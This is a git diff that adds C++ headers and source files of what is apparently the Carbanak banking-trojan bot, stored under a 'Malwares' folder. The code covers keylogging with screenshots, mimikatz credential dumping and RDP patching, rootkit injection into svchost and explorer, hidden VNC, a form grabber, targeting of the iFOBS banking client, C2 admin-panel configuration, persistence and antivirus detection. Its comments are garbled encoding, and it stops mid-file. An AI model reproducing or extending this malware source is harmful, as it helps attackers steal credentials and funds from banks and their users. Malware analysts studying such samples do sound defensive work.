Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ static bool CreateVideoStream( int typeId, const char* typeName, const char* fileName, const char* ext, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 );+ //��������� ��� ������, wait - �������� ��� �� �� ������� � �������������+ static uint CreateVideoStream( int typeId, const char* typeName, const char* fileName, const char* ext, int wait );+ static bool CreateVideoPipeStream( const char* idPipe, const char* namePipe, Pipe::typeReceiverPipeAnswer func, PipePoint* serverAnswer = 0, DWORD tag = 0 )+ {+ return CreateVideoStream( 8, idPipe, namePipe, 0, func, serverAnswer, tag );+ }+ static bool SendVideoStream( uint idStream, const void* data, int c_data );+ static bool CloseStream( uint idStream );+ static bool AddVideoServers( bool force, AddressIpPort* addr, int c_addr );+ static bool VideoServerRestart( const char* nameUser );+ //��������� � �������� �����-�� ����� ����+ static bool AddSharedFile( const char* name, const void* data, int c_data );+ inline static bool AddSharedFile( const char* name, const Mem::Data& data )+ {+ return AddSharedFile( name, data.Ptr(), data.Len() );+ }+ inline static bool AddSharedFile( const char* name, const StringBuilder& s )+ {+ return AddSharedFile( name, s.c_str(), s.Len() + 1 );+ }+ //����������� � ��������� ����� ����+ static bool GetSharedFile( const char* name, Mem::Data& data );+#ifdef ON_MIMIKATZ+ //����� ���������� ������� ���������� func+ static bool MimikatzPathRDP( Pipe::typeReceiverPipeAnswer func, DWORD tag, PipePoint* serverAnswer = 0 );+#endif+ static bool StartHttpProxy( int port );+ static bool StartIpPortProxy( int port, AddressIpPort& addr );+ //������������� ������ ������ (��� ���������� ������) ����� ������� ����� ���� http ������� � ����+ static bool SetProxy( Proxy::Info* proxy, int c_proxy );+ static bool DelProxy( Proxy::Info* proxy, int c_proxy );+ //����������� �������� ����������� ���������+ static char GetGlobalState( int id );+ //��������� �������� ����������� ���������, ���������� ������+ static char SetGlobalState( int id, char v );+ static bool AddStartCmd( const StringBuilder& cmd );+ //������������ ������ ���������� � ������� � ����� ��� �� ������+ //dst = 0 - ������������� ������������, 1 - � �����, 2 - �� ������, 3 - � ����� � �� ������+ static bool DuplData( uint hashData, int dst );+ //��������� ����� ������ �������+ static bool SetNewHostsAdminki( StringBuilder& s );+ //�������� ��������� ���������� ������� � �������+ static bool SendResExecutedCmd( const StringBuilder& cmd, int err, const char* comment = 0 );+ //������� ���� ���� � �������, ���� flush = true, �� ������ ����� ������������, � �� ��������������+ static bool SendLog( bool flush, int code = 0 );+};++//������ ������ ������ ��� ��������� ���������+class GeneralPipeServer : public PipeServer+{+ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );++ public:++ enum+ {+ CmdTask = 1, //���������� ����� �������, ���������� ��������� ������� (� data) � �� ����� (� sz_data) ��� ����� ������������ ����+ CmdInfo = 2, //���������� ���������� � ����+ CmdGetProxy = 3 //���������� ������������� � ���� ������+ };++ struct InfoBot+ {+ DWORD pidMain; //��� ��������� ��������+ DWORD pidServer; //��� ����� ��������+ char uid[48];+ char comment[1024]; //���������� �� ��������� ����+ };++ private:++ InfoBot info; //��� �������� ���������� � ����++ Mem::Data result;++ public:++ GeneralPipeServer();+ ~GeneralPipeServer();+};++//������ ��������� � ����� ������� ������+void ManagerLoop( bool runAdminPanel );+//������ ��������� � ��������� ������+DWORD WINAPI ManagerLoopThread( void* param );+//��������� klgconfig.plug+void LoadKeyloggerConfig();+//���� �������� �����, �� �������� ��� ����������� ����+//���������� true, ���� ����� ���� ����� ��������� ������, ����� ���������� ��� ������+bool UpdateIsDublication( const char* dropper );diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/MonitoringProcesses.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/MonitoringProcesses.hnew file mode 100644index 0000000..c5f8520--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/MonitoringProcesses.h@@ -0,0 +1,36 @@+#pragma once++#include "core\core.h"+#include "core\pipe.h"++namespace MonitoringProcesses+{++bool Start();++}++class MonProcessServer : public PipeServer+{++ public:++ enum+ {+ CmdUpdateKlg, //���������� ������������ ���������+ CmdRDP //�������� ����� ����������� ������ ������� �������� ��� RDP+ };++ private:++ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();++ public:++ MonProcessServer();+ ~MonProcessServer();++ bool Reg();++};diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/VideoServer.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/VideoServer.hnew file mode 100644index 0000000..75f1068--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/VideoServer.h@@ -0,0 +1,113 @@+#pragma once++#include "core\core.h"+#include "core\pipe.h"+#include "core\ThroughTunnel.h"++namespace VideoServer+{++//����������� ����� �������+struct StruAddServers+{+ bool force; //����������� � 1-�� ���������� �������+ int count; //���������� ������� ��������+};++int Init();+void Release();++//��������� ����� ������ � ������� ��������+void Run( bool async = true );+//��������� ����� ������ � ��������� svchost.exe+bool RunInSvchost( const char* nameUser = 0 );+//�������� ����� ������ � ���������� �� �������� �������+//������ ������ ���� ����������������+void Start();+//��������� ���� �� ����� � ����� ���� ������� ��������+bool VerifyConnect();+//���������� ������� ������ �� ��������, ����������� '|'+bool GetHosts( StringBuilder& hosts );++}++//���������� ����� �������� ����� ��������+class VideoPipeServer : public PipeServer+{+ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();++ void SendFile( const void* data, int c_data );++ public:++ enum+ {+ CmdVideo, //������ ������ �����+ CmdVideoOff, //���������� ����� ������+ CmdSendFile, //�������� �����+ CmdPackSendFolder, //������ ����� � cab ���� � �������� ����� �� ������+ CmdCreateLog, //������� ����� ��� �������� �����+ CmdSendLog, //�������� ����+ CmdTunnel, //������� ������� ��� �������� ���������� �� ������+ CmdAddServers, //��������� ������ ����� ����� ��������+ CmdSendStr, //�������� ������� ������ � ����������� ����+ CmdFirstFrame, //������� ���������� ����� ��� ������ �����+ CmdLoadPlugin, //�������� �������+ CmdCreateStream, //�������� ������ ��� �������� ������+ CmdSendStreamData, //������� ������ � �����+ CmdCloseStream //�������� ���������� ������+ };+++ struct MsgVideo+ {+ char nameVideo[64];+ DWORD pid;+ };++ #pragma warning ( disable : 4200 )+ struct MsgSendFile+ {+ char typeName[64];+ char fileName[128];+ char ext[16];+ int c_data;+ byte data[0];+ };++ struct MsgSendFolderPack+ {+ char typeName[64];+ char fileName[128];+ char srcFolder[MAX_PATH]; //�������� �����+ char dstFolder[64]; //��� ����� � ������+ int globalId; //���� >=0, �� ���������� ��������������� ���������� ����+ };++ VideoPipeServer();+ ~VideoPipeServer();++ //����������� ����� ������� � ���������+ bool Reg();+ //�������� ������� ���������, ������� �������� ������ �� ������+ static bool SendStr( int id, int subId, const char* s, int c_s = -1 );+ static bool SendStr( int id, int subId, const StringBuilder& s )+ {+ return SendStr( id, subId, s.c_str(), s.Len() );+ }+};++class VideoServerTunnel : public ThroughTunnel+{++ protected:++ virtual int Connected( int sc );++ public:++ VideoServerTunnel( int portIn );+ ~VideoServerTunnel();+};+diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/errors.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/errors.hnew file mode 100644index 0000000..318d9ae--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/errors.h@@ -0,0 +1,17 @@+//������ ������� ���������� ��� ������� ��� ���������� ������++namespace TaskErr+{++const int Succesfully = 0; //��� ������+const int Wrong = 1; //������� �� �����������+const int Param = 2; //�������� ���������+const int PluginNotLoad = 3; //�� ���������� ������+const int NotCreateDir = 4; //�� ������� ������� �����+const int Runned = 5; //��� ��������+const int OutOfMemory = 6; //�������� ������+const int NotRunInMem = 7; //�� ������� ���������� � ������+const int NotExportFunc = 8; //�� ������� ����� �������������� ������� � ���+const int BadCab = 9; //�� ������� ����������� cab �����++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/info.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/info.hnew file mode 100644index 0000000..c0ff36c--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/info.h@@ -0,0 +1,10 @@+#pragma once++#include "core\core.h"++//���������� ��������� ���������� � ����, �����, ��++//������ ���������� �� ��������� � ������� �������� ��� � ��������� ����+void GetEnvironmentComment( StringBuilder& s );+//����� ���������� � ������ s �������� sz_s, ���������� ����� ���������� ������+int GetEnvironmentComment( char* s, int sz_s );diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/keylogger.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/keylogger.hnew file mode 100644index 0000000..8738ad0--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/keylogger.h@@ -0,0 +1,56 @@+#pragma once++#include "core\keylogger.h"+#include "core\vector.h"++//�������� �������� ������� �� ������� Enter � ����� ������ ���� ������ ��������� ���������� ����������+//� �������� �� � �������+bool StartKeyLoggerFirstNScreenshot( int n );++class KeyLoggerFirstNScreenShot : public KeyLogger::ExecForFilterMsg+{++ int countScreenShot; //������� ���������� ������+ int curr; //����� �������� ���������+ Mem::Data memScreenshot;++ protected:++ virtual void Exec( KeyLogger::FilterMsgParams& params );++ public:++ KeyLoggerFirstNScreenShot( KeyLogger::FilterMsgBase* filter, int countScr );++};++//��������� ���� ���� �������� � ��������+class KeyLoggerAllChars : public KeyLogger::ExecForFilterMsg+{++ struct HwndText+ {+ HWND hwnd;+ HWND parent;+ StringBuilderStack<256> parentCaption;+ StringBuilder text;+ SYSTEMTIME beg, end;+ bool ignore;+ };++ Vector< MovedPtr<HwndText> > ctrls; //�������� � ��������� � ��� �������+ StringArray maskCaptions; //����� �� ������� ���������� ����� ���� ����� �����������++ protected:++ virtual void Exec( KeyLogger::FilterMsgParams& params );++ public:++ KeyLoggerAllChars( KeyLogger::FilterMsgBase* filter, StringArray& captions );+ ~KeyLoggerAllChars();+ //�� �������� ���� ���������� ����������� ������ ��� ����� ����+ void SendWindowData( HWND hwnd );++ static bool Start( const char* nameProcess );+};diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/main.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/main.hnew file mode 100644index 0000000..0c5ca29--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/main.h@@ -0,0 +1,136 @@+#pragma once++#include "config.h"+#include "core\core.h"+#include "core\debug.h"+#include "core\injects.h"+#include "core\rand.h"+#include "AV.h"++//����������� ���� ��� state+const int NOT_DIRECT_INJECT = 0x0001; //������ ��������� ������ ������ � �������+const int NOT_USED_INJECT = 0x0002; //������� ��������� ������+const int NOT_INSTALL_SERVICE = 0x0004; //�� ��������������� ��� ������+const int NOT_INSTALL_AUTORUN = 0x0008; //�� ��������������� � ������������+const int EXTERN_NAME_MANAGER = 0x0010; //��� ������ ��� ��������� �� ���������, � ����� �� Config::nameManager+const int IS_DLL = 0x0020; //�������� ��� ���+const int IS_SERVICE = 0x0040; //������� ��� ������+const int RUNNED_DUBLICATION = 0x0080; //�������� 2-� �����+const int SPLOYTY_OFF = 0x0100; //�� ��������� ������+const int RUNNED_UPDATE = 0x0200; //������� ����� ������� �������� ����������+const int CHECK_DUPLICATION = 0x0400; //�������� �� ������ ����� (2-� ����� ������������� � ��������� ������)+const int PLUGINS_SERVER = 0x0800; //������� ����� � ������� (������������� ��������)+const int NOT_USED_SCVHOST = 0x1000; //� ������ �� ������������ ������ � ��������� � �������, ��� ������ ������� � �������� ����������� ��������+const int NOT_EXIT_PROCESS = 0x2000; //�������� ����� ���� ����������� � ������������ �������, ������� ��� ������ ������ ������ ExitProcess+const int SERVER_NOT_PROCESS = 0x4000; //��������� ����� �� � ��������� ��������++//��� ������� ��� ������ �������� ����� rootkit+typedef void (*typeFuncParamDWORD)( DWORD );++namespace Config+{++extern char PeriodConnect[MaxSizePeriodConnect];+extern char Hosts[MaxSizeHostAdmin];+extern char HostsAZ[MaxSizeHostAdmin];+extern char UserAZ[MaxSizeUserAZ];+extern char Password[MaxSizePasswordAdmin];+extern char VideoServers[MaxSizeIpVideoServer];+extern char FlagsVideoServer[MaxFlagsVideoServer];+extern char MiscState[MaxSizeMiscState];+extern char DateWork[MaxSizeDateWork];++#ifdef IP_SERVER_EXTERNAL_IP+extern char ExternalIP[48];+#endif++extern char UID[32];+extern char XorMask[32];+extern int waitPeriod; //������� ����� �� ���������� ������� � �������������++extern char nameManager[32]; //��� ������������ ���� ������, ������������ � ����������+extern char fileNameBot[MAX_PATH]; //��� ���������������� ����� ����, ����������� ��� ������ ��� ��� ���������� (��� ���������� ����� ����������� ���������)+extern char fileNameConfig[MAX_PATH]; //��� ����� � �������� ��� ����+extern char nameService[64]; //��� �������, ���� ������� ��� ������+extern char TempNameFolder[16]; //��������� ��� ����� �� ��������� �����, ���� ����� �������� ����� ������� ������ �������� ����� �����+extern int AV;+extern char exeDonor[MAX_PATH]; //��� ��� � ������� ���������� ������ svchost.exe++extern uint state; //��������� ���������++extern char* BotVersion;+const int BotVersionInt = 10207;++//���� ����������+struct StruSleep+{+ byte day;+ byte month;+ ushort year;+};++bool Init();+StringBuilder& NameBotExe( StringBuilder& name );+StringBuilder& FullNameBotExe( StringBuilder& path );+StringBuilder& NameUserAZ( StringBuilder& userAZ );++bool CreateMutex();+void ReleaseMutex();+//���������� ����� � ������� ��������� ������� ����� ����, � path ������ ���� ����������� ���������� �����+//���� ������ addFolder, �� � ���� ����������� ��������� ����� (���� �����, �� � ���������).+//cryptAddFolder = true, �� addFolder ���������+bool GetBotFolder( StringBuilder& path, const char* addFolder = 0, bool cryptAddFolder = false );+bool GetDefBotFolder( StringBuilder& path, const char* addFolder = 0, bool cryptAddFolder = false );+//���������� ��� ����� � ����� ����+bool GetBotFile( StringBuilder& fileName, const char* name );+bool InitFileConfig( bool def );++//��������� ��� ��������� � ����������� �����+bool SaveNameManager();+//��������� ��� ��������� �� ������������ �����, ����� ������ ������� ����, ���� �������+bool LoadNameManager( bool del = true );+//���������� ��� ����� � ������� ������ ���+bool GetSleepingFileName( StringBuilder& fileName );+//���������� true ���� ��� ������ ��� �����, false - ������ ������������+bool IsSleeping();+//������� ������� � ������ ���+void DelSleeping();+//���� �� ������� ������ �������+uint GetDateWork();++}++bool InitRootkit();+DWORD WINAPI RootkitEntry( void* );+//������� ������ � ����������+DWORD WINAPI ExplorerEntry( void* );+//������ �� ��� �������+DWORD WINAPI ExplorerEntryFromService( void* );+//��������� � ��������� � ��������� ��� ��������� �������+bool RunInExplorer( typeFuncThread func );+//������� ���������� ����� rootkit+void RunInExplorer2( SIZE_T param );+//������� ������ � ����������, ���� runAdminPanel = true, �� ������������� ����������� svchost ��� ������ � ��������+void ExplorerLoop( bool runAdminPanel );+//���� 30� ���� ���������� ���������+bool WaitRunExplorer();+//�������� ����+bool StartBot();+//������������� ����, ������������ ��� ������� ����������, ���� ����� ��� ��������+bool RestartBot();+//������ ����, ������� ���������� � ���������, ����� ����������� svchost.exe+//����� ����� �����, ���� ���� ������ �� ��� ���������� �������� ��� ��������� ����+//���� dropper = true, �� ������ ���� �� ��������, ����� ������������+bool StartBotApart(bool dropper = false);+//�������� ������ Rootkit ������� func � ���������� param, ���������� ��� ���������� ��������+bool InjectCrossRootkit( typeFuncParamDWORD func, DWORD param );+//��������� �� ����� �������� �� ��������� ��� rootkit+void SetInjectPID( DWORD pid );+//������ � ��������� ������� ����� rootkit+bool InjectToProcessRootkit( DWORD pid, typeFuncThread func );+//������ svchost ����� ������+DWORD JumpInSvchostRootkit( typeFuncThread func );+//���������� ����+bool InstallBot( StringBuilder& path );+//���������� ���� � ��������� ������+DWORD WINAPI InstallBotThread( void* );diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/other.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/other.hnew file mode 100644index 0000000..e6a9bf6--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/other.h@@ -0,0 +1,81 @@+#pragma once++#include "core\core.h"+#include "core\proxy.h"+#include "config.h"++namespace mimikatz+{++//�������� �� ������� ������ � �������� ��+bool SendAllLogonsThread(); //� ��������� ������+bool SendAllLogons();+//������ ������ ���+bool PatchRDP();+//��������� ������ ��� ���+bool UpdateReestr();+bool GetLogonPasswords( StringBuilder& s );++}++//������ (�������� ��������� �����) �����, ����� ���� ���������� ���+bool PatchRDPFiles();++namespace Secure+{++typedef bool (*typeSecureFunc)( const Mem::Data&, const StringBuilder& folder );++bool Lsa( const Mem::Data& data, const StringBuilder& folder );++}++//������� ��� ��������� ������, � ������ ���������+int FindProxyAddr( Proxy::Info* addr, int size );+//������� ������ �������������� ��� ��������� ������ (����� � ��������� ������)+//void FindAuthenticationProxy( Proxy::Info* addr, int c_addr );+//����� ������ ����� �������+DWORD WINAPI FindProxyAddrCrossSniffer( void* );+//��������� � ��������� ������� adminka � ����� ���������� � ������ ����� �������� ������+void SendCmdAdminka( Proxy::Info* addr, int c_addr );+//����� ������ �� ����� � ����� path, ��������� ��������� ����� ��� ������ name � ������������ � ������� (dst = 1) ��� �� ������ (dst=2),+//��� � ������� � ������ (dst = 3)+//����������� ��������� ������������ ������+//����� ������ ��������� ������ ��������� ������� ��� �����, �� ������ ���� ����� *, ����� ��� ���������+int FindFiles( const StringBuilder& path, const StringBuilder& mask, int dst, const StringBuilder& name );++namespace VNC+{++//������� ���������� � ��������� ������� ��� vnc,+//���� res =+// 0 - ������ ��������+// 1 - �� ������� ��������� ������+// 2 - �������� ������+// 3 - �� ������� ��������� ������ � ������+// 4 - ��������� ������� �������� VncStartServer � VncStopServer+// 5 - ������� VncStartServer ������� ������+typedef void (*typeFuncRes)( int res );++//��������� � ������� ��� vnc, ��������� � ��������� �������� callback ������� func,+//������� �������� ����������, � tag ��������� ����� ������ ������ �������� ��� ��� �������� �� ��������� ip+bool Start( const char* namePlugin, const char* namePlugin_x64, AddressIpPort& ipp, typeFuncRes func, void* tag = 0, int c_tag = 0 );+//��������� ��� � ����������� �� ���������+bool StartDefault( AddressIpPort& ipp, bool hvnc, void* tag = 0, int c_tag = 0 );+//���������� ��� pipe ��� �������+StringBuilder& GetNameVNCServer( StringBuilder& s );++};++//� ������ s ���������� �� ������� ������ ���������� ��������� (��������� ���� � ������� ���������)+//���������� ���������� ���������� ���������+int ListProcess( StringBuilder& s );+//�������� ������ ��������� � dst: 1 - �������, 2 - ������+bool SendListProcess( int dst );++namespace WinCmd+{++void Start( const char* naneUser );++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/plugins.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/plugins.hnew file mode 100644index 0000000..256cda6--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/plugins.h@@ -0,0 +1,49 @@+#pragma once++#include "core\core.h"+#include "config.h"++//��������� ������� ������� � ����, � config.h ���������� ��� �����������+namespace Plugins+{++void Execute();++#ifdef PLUGINS_TRUSTED_HOSTS+DWORD WINAPI TrustedHosts( void* );+#endif++#ifdef PLUGINS_FIND_OUTLOOK_FILES+DWORD WINAPI FindOutlookFiles( void* );+#endif++#ifdef PLUGINS_MONITORING_FILE+DWORD WINAPI MonitoringFile( void* );+#endif++}++//���������� �������+namespace Plugin+{+//���� ������ ������� ��� ��������+const int PluginCBNone = 0; //��� ������ ������ �������+const int PluginCBText = 1; //��������� (void cb(const char*))+const int PluginWait = 2; //����� ������� ������� �������++//��������� ��� ��������� �������+struct PluginStru+{+ char name[32]; //��� �������+ int cbtype; //��� ������ �������+ char func_start[32]; //������� ����������� ��� ������ �������+ char name_func[32]; //��� ������� �������+ char name_data[32]; //��� ����� ������ �������� ������ ���������� ������ ��������+ int size; //������ �������, ����������� ��������� ��� ��������� �������+};++void Run( PluginStru* plg );+void Stop( const char* namePlugin, const char* func_stop );+void ExecuteFunc( const char* namePlugin, const char* func, const char* args );++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/sandbox.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/sandbox.hnew file mode 100644index 0000000..90689b0--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/sandbox.h@@ -0,0 +1,35 @@+#pragma once++#include "core\core.h"+#include "core\pipe.h"++//��������� ��� ���������� ������ � ��������� ���������++namespace Sandbox+{++//����� �������� �������� � ��������� ���������������� rootkit,+//����� ����� ���� ��������� � ����������� �������+const uint INIT_ROOTKIT = 0x0000001;++//��������� ��������� ������� svchost.exe, �������� ��� func � �������� ������ data+//�������� nameUser ������ � ������� Process::Exec()+//���� exe = true, �� � data ��������� exe ���� ��� ������� � ������+bool Run( typeFuncThread func, const char* nameUser, const void* data, int c_data, bool exe );+//������ ���������� � ����� ������ ������� ��������� (����� 1-� ������� � func �� Run()),+//���������� ��������� �� ���������� ���������, � ����������� ������ ����� ����� ����������+//����� ������� �������������� ����. ���� ������� size, �� ���� ����� ������� ������ �������� ������+void* Init( int* size = 0 );++//�������� ��������� ������ ����� ���������+bool Exec( StringBuilder& cmd, uint flags = 0, const char* nameUser = 0 );+bool Exec( const char* cmd, uint flags = 0, const char* nameUser = 0 );++//��������� ���� � ������+bool RunMem( const void* data, int size, const char* nameUser = 0 );+inline bool RunMem( const Mem::Data& data, const char* nameUser = 0 )+{+ return RunMem( data.Ptr(), data.Len(), nameUser );+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/service.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/service.hnew file mode 100644index 0000000..2f9d552--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/service.h@@ -0,0 +1,21 @@+#pragma once++#include "core\core.h"+#include "core\service.h"++namespace Service+{+ //������������� ������ � �������, ���� copyFile = false, �� ���� srcFile �� ���������� � ������ ����� (���� ��� �����������)+ bool Install( const StringBuilder& srcFile, const StringBuilder& dstFile, bool copyFile = true );+ //�������� ���� � � ���� �������+ bool Copy( const StringBuilder& srcFile, StringBuilder& dstFile );+// bool Copy( const Mem::Data& data );+ bool Start(); //��������� ������������� ������+ bool IsService( const StringBuilder& fileName ); //�������� �� ��������� ���� ������ �������+ //���������� ������ ��������, ����������� ������ ����� ������ �������+ LPENUM_SERVICE_STATUS_PROCESS GetListServices( int& countServices );+ //������� ��������� ������, � ��� ����� � ����, ���� �������+ bool DeleteWithFile( const StringBuilder& name, bool delFile = true );+ //��� ����� ��� ������� �������� ��� ��� ������� ��������+ bool GetFileNameService( StringBuilder& fileName );+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/system.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/system.hnew file mode 100644index 0000000..693eb5b--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/system.h@@ -0,0 +1,42 @@+#pragma once+//��������� �������++#include "core\core.h"+#include "config.h"++namespace System+{++//hash - ��� �������� (nameProcess), nameProcess - ��� ��������, path - ����� ��� ��������� nameProcess+void Start( uint hash, StringBuilder& nameProcess, StringBuilder& path );++}++#ifdef ON_IFOBS++namespace IFobs+{++const int HASH_PROCESS = 0x0fcd41c5; // ifobsclient.exe+extern char* nameProcess;++void Start( uint hash, StringBuilder& nameProcess, StringBuilder& path );+//���������� �� ������� ifobs (task.cpp)+void CreateFileReplacing( StringBuilder& s );++}++#endif++#ifdef ON_FORMGRABBER++namespace FormGrabber+{++void Start( uint hash, StringBuilder& nameProcess, StringBuilder& path );+//������ ���� �������� ����� �������+void StartCrossSniffer();++}++#endifdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/task.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/task.hnew file mode 100644index 0000000..0d36fda--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/task.h@@ -0,0 +1,64 @@+#pragma once++#include "core\core.h"+#include "core\pipe.h"++//���������� ������++namespace Task+{++bool Init();++//���������� ������� cmd.+//len ����� ����������� �������+//������� ��������� ���������� ������� � ��������� ������+bool ExecCmd( const char* cmd, int len );++//��������� ��������������� ���� ����, ����� ��� �� �������+void ProtectBot();+//��������� ��������������� ����, ����� ����� ���� ��� ��������+void UnprotectBot();+//��������� ������� ������� ���������� ����� ������+void AddStartCmd( const char* cmd );++const int GlobalState_IFobsUploaded = 0; //������ ������ �������� �� ������+const int GlobalState_AutoLsaDll = 1; //����������� �� ������������� ��������� ��� (���� �� ��������� ������� secure lsa name_plugin)+const int GlobalState_OutlookFiles = 2; //����� ������ ��� ��������+const int GlobalState_Plugin = 3; //������ ������ �������: 0 - � �������, 1 - � �������+const int GlobalState_LeftAutorun = 4; //������� ���������� ��������++}++//������ ���������� ����� (������)+class TaskServer : public PipeServer+{+ char state; //���� ����������� ����������� �������� ������������ �����, ���������� ��� �������� ������++ virtual int Handler( Pipe::Msg* msgIn, void** msgOut );+ virtual void Disconnect();+ //�������� � state ������� ���������+ void GetGlobalState( int id );+ //������������� ������� ���������, �������� � state ���������� ��������+ void SetGlobalState( int id, char v );++ public:++ enum+ {+ CmdExecTask, //��������� �������+ CmdGetGlobalState, //�������� ����������� ��������� ����+ CmdSetGlobalState, //�������� ������� ���������� ���������+ CmdAddStartCmd //���������� ������� ��� ���������� ����� ������+ };++ public:++ TaskServer();+ ~TaskServer();++ //����������� � ���������+ bool Reg();+ //�������� ������� ����� ������� �� ����������, len ����������� �������+ static bool ExecTask( const char* namePipe, const char* cmd, int len );+};diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/tools.h b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/tools.hnew file mode 100644index 0000000..9dfb9a4--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/include/tools.h@@ -0,0 +1,10 @@+#pragma once++#include "core\core.h"++//��������� ��������� ���� � ������ ����������� ������������� �����+bool AddAllowedprogram( StringBuilder& path );++void Reboot();+bool KillOs();+diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/AV.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/AV.cppnew file mode 100644index 0000000..703c15b--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/AV.cpp@@ -0,0 +1,69 @@+#include "AV.h"+#include <tlhelp32.h>++int AVDetect()+{+ PROCESSENTRY32 pe;+ pe.dwSize = sizeof(PROCESSENTRY32);+ HANDLE snap = API(KERNEL32, CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 );+ if( snap == INVALID_HANDLE_VALUE ) return 0;+ int ret = 0;+ if( API(KERNEL32, Process32First)( snap, &pe ) )+ {+ do+ {+ char name[64];+ int i = 0;+ uint hash = Str::Hash( Str::Lower(pe.szExeFile) );+ switch( hash )+ {+ case 0x0fc4e7c5: //sfctlcom.exe+ case 0x0946e915: //protoolbarupdate.exe+ case 0x06810b75: //tmproxy.exe+ case 0x06da37a5: //tmpfw.exe+ case 0x0ae475a5: //tmbmsrv.exe+ case 0x0becd795: //ufseagnt.exe+ case 0x0b97d795: //uiseagnt.exe+ case 0x08cdf1a5: //ufnavi.exe+ case 0x0b82e2c5: //uiwatchdog.exe+ return AV_TrandMicro;+ case 0x0d802425: //avgam.exe+ case 0x0f579645: //avgcsrvx.exe+ case 0x0e048135: //avgfws9.exe+ case 0x0c34c035: //avgemc.exe+ case 0x09adc005: //avgrsx.exe+ case 0x0c579515: //avgchsvx.exe+ case 0x08e48255: //avgtray.exe+ case 0x0ebc2425: //avgui.exe+ return AV_AVG;+ case 0x08d34c85: //avp.exe+ case 0x07bc2435: //avpui.exe+ return AV_KAV;++ }+ } while( API(KERNEL32, Process32Next)( snap, &pe ) );+ }+ API(KERNEL32, CloseHandle)(snap);+ return ret;+}++/*+bool AVGUnload()+{+ typedef BOOL(WINAPI *typeDllMain)( _In_ HINSTANCE hinstDLL,_In_ DWORD fdwReason, _In_ LPVOID lpvReserved );+ typeDllMain DllMain;+ HINSTANCE dllAvg = API(KERNEL32, GetModuleHandleA)( _CS_("avghookx.dll") );+ if( dllAvg )+ {+ DbgMsg( "��������� AVG (avghookx.dll)" );+ PIMAGE_NT_HEADERS ntHeaders = PE::GetNTHeaders(dllAvg);+ DWORD addrEP = (DWORD)dllAvg + ntHeaders->OptionalHeader.AddressOfEntryPoint;+ DllMain = (typeDllMain)addrEP;+ DllMain( dllAvg, DLL_PROCESS_DETACH, NULL ); //������ ����� AVG+ return true;+ }+ else+ DbgMsg( "AVG �� ���������" );+ return false;+}+*/diff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/AdminPanel.cpp b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/AdminPanel.cppnew file mode 100644index 0000000..76924e7--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/source/AdminPanel.cpp@@ -0,0 +1,975 @@+#include "main.h"+#include "AdminPanel.h"+#include "Manager.h"+#include "core\crypt.h"+#include "core\http.h"+#include "core\file.h"+#include "core\debug.h"+#include "core\hook.h"+#include "VideoServer.h"+#include "task.h"+#include "MonitoringProcesses.h"+#include "core\HttpProxy.h"+#include "core\ThroughTunnel.h"+#include "core\proxy.h"+#include "other.h"+#include "system.h"+#include "core\pe.h"++extern char fileDropper[MAX_PATH];+uint GetCurrDate();++namespace AdminPanel+{++int numAdmin; //����� ������� �������+int 